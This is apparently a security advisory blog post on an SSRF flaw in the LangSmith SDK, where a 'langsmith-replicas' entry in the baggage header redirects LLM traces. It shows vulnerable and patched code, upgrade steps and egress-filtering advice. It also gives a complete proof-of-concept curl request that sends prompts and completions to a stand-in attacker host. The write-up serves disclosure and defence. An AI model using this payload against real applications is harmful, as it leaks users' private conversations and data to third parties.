Feb 9, 2026·6 min read·11 visits
The LangSmith SDK blindly trusted the 'baggage' HTTP header, allowing attackers to define where trace data should be sent. By injecting a custom URL, an attacker can force your AI application to mirror all its internal thoughts, prompts, and PII directly to a server they control.
A Server-Side Request Forgery (SSRF) vulnerability in the LangSmith SDK (Python and JS) allows attackers to exfiltrate sensitive LLM traces, including prompts and completions, by injecting a malicious W3C 'baggage' header. The vulnerability stems from an insecure implementation of distributed tracing that accepted logging destination URLs directly from incoming HTTP headers.
In the gold rush of GenAI, 'observability' is the pickaxe everyone is buying. You can't just deploy an LLM; you need to know what it's thinking, how much it costs, and why it hallucinated that your CEO is a reptile. Enter LangSmith, the de facto standard for tracing LangChain applications.
To make this magic work across microservices, LangSmith needs to propagate context. If Service A talks to Service B, Service B needs to know they are part of the same 'run'. This is standard distributed tracing logic.
However, the developers got a little too helpful. They didn't just propagate the ID of the trace; they built a mechanism to propagate the configuration of where the trace should go. CVE-2026-25528 describes a scenario where the SDK listens to the client a bit too intently. Specifically, it allows an incoming HTTP request to say, "Hey, while you're logging this conversation to your secure dashboard, mind sending a copy to evil-hacker.com as well?" And the SDK, ever the polite servant, obliged.
The vulnerability hides in the implementation of the W3C Trace Context standard, specifically the baggage header. This header is designed to carry metadata (key-value pairs) across service boundaries. It's the backpack your HTTP request wears as it hikes through your microservices.
LangSmith introduced a custom key within this header called langsmith-replicas. The intention was legitimate: in complex distributed systems, you might want a downstream service to report its status to a specific 'replica' or secondary project.
The root cause was a classic Trust Boundary Violation. The SDK treated the baggage header—user-controlled input—as a trusted source of configuration. When parsing langsmith-replicas, the code accepted a JSON object containing an api_url and an api_key. It didn't validate if that URL belonged to LangChain or your organization. It simply added it to the list of destinations. This turned the tracing system into an open proxy for data exfiltration.
Let's look at the logic failure. In the vulnerable versions (Python SDK < 0.6.3), the RunTree.from_headers method would parse the headers and hydrate a RunTree object. It looked something like this (simplified for clarity):
# VULNERABLE LOGIC
if "baggage" in headers:
# Parse W3C baggage
baggage = parse_baggage(headers["baggage"])
# DANGER: extracting configuration directly from the header
if "langsmith-replicas" in baggage:
replicas = json.loads(baggage["langsmith-replicas"])
# The SDK now trusts these replicas, including their custom API URLs
self.extra_replicas.extend(replicas)The fix introduced in version 0.6.3 is a lesson in Input Sanitization. The maintainers introduced a strict allowlist. They essentially said, "You can pass context, but you cannot change the destination."
# FIXED LOGIC
_HEADER_SAFE_REPLICA_FIELDS = frozenset({"project_name", "updates"})
def _filter_replica_for_headers(replica):
# Explicitly filter out 'api_url' and 'api_key'
return {
k: v for k, v in replica.items()
if k in _HEADER_SAFE_REPLICA_FIELDS
}By stripping api_url and api_key from the header-derived config, the SSRF vector is neutralized. The attacker can still mess with the project_name, but they can no longer redirect the traffic off-site.
Exploiting this does not require authentication. It only requires the target application to use the LangSmith SDK and expose an endpoint that accepts headers (which is... all web apps).
Here is the attack chain:
netcat or interactsh) at https://attacker.com/webhook.baggage header.curl -X POST https://victim-chatbot.com/api/chat \
-H "Content-Type: application/json" \
-H 'baggage: langsmith-replicas=[{"api_url":"https://attacker.com/webhook","project_name":"hacked"}]' \
-d '{"message": "Hello, please summarize this confidential document..."}'The Exfiltration:
replicas config in the header.https://attacker.com/webhook.The Loot: The attacker checks their logs and sees the full JSON payload containing the user's private query and the AI's response.
The CVSS score is 5.8 (Medium), largely because the confidentiality impact is rated as 'Low' (C:L) and it requires a specific configuration (tracing enabled). Don't let that number fool you. In the context of GenAI, this is a Critical privacy breach.
Consider what goes into an LLM trace:
This vulnerability allows an attacker to wiretap your AI. It's not just metadata; it's the raw content of the conversation. If your internal HR bot is using this SDK, an attacker could trigger it and receive a transcript of your employee salary queries.
The primary fix is to upgrade the SDKs immediately. The patch does not break functionality; it simply enforces security boundaries on the baggage header.
Actionable Steps:
langsmith>=0.6.3.
pip install -U langsmithlangsmith>=0.4.6.
npm install langsmith@latestDefense in Depth: This vulnerability highlights the danger of unrestricted egress. Your AI application servers should not be able to make arbitrary HTTP requests to the internet. Implement Egress Filtering:
api.openai.com (or your LLM provider).api.smith.langchain.com.If egress filtering were in place, the SDK would have tried to connect to the attacker's URL and failed, turning a data breach into a harmless timeout error.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LangSmith Python SDK LangChain | >= 0.4.10, < 0.6.3 | 0.6.3 |
LangSmith JS SDK LangChain | < 0.4.6 | 0.4.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS Score | 5.8 (Medium) |
| Impact | Sensitive Data Exfiltration |
| Exploit Status | Poc Available |
| Vulnerable Header | W3C Baggage (langsmith-replicas) |
Server-Side Request Forgery (SSRF)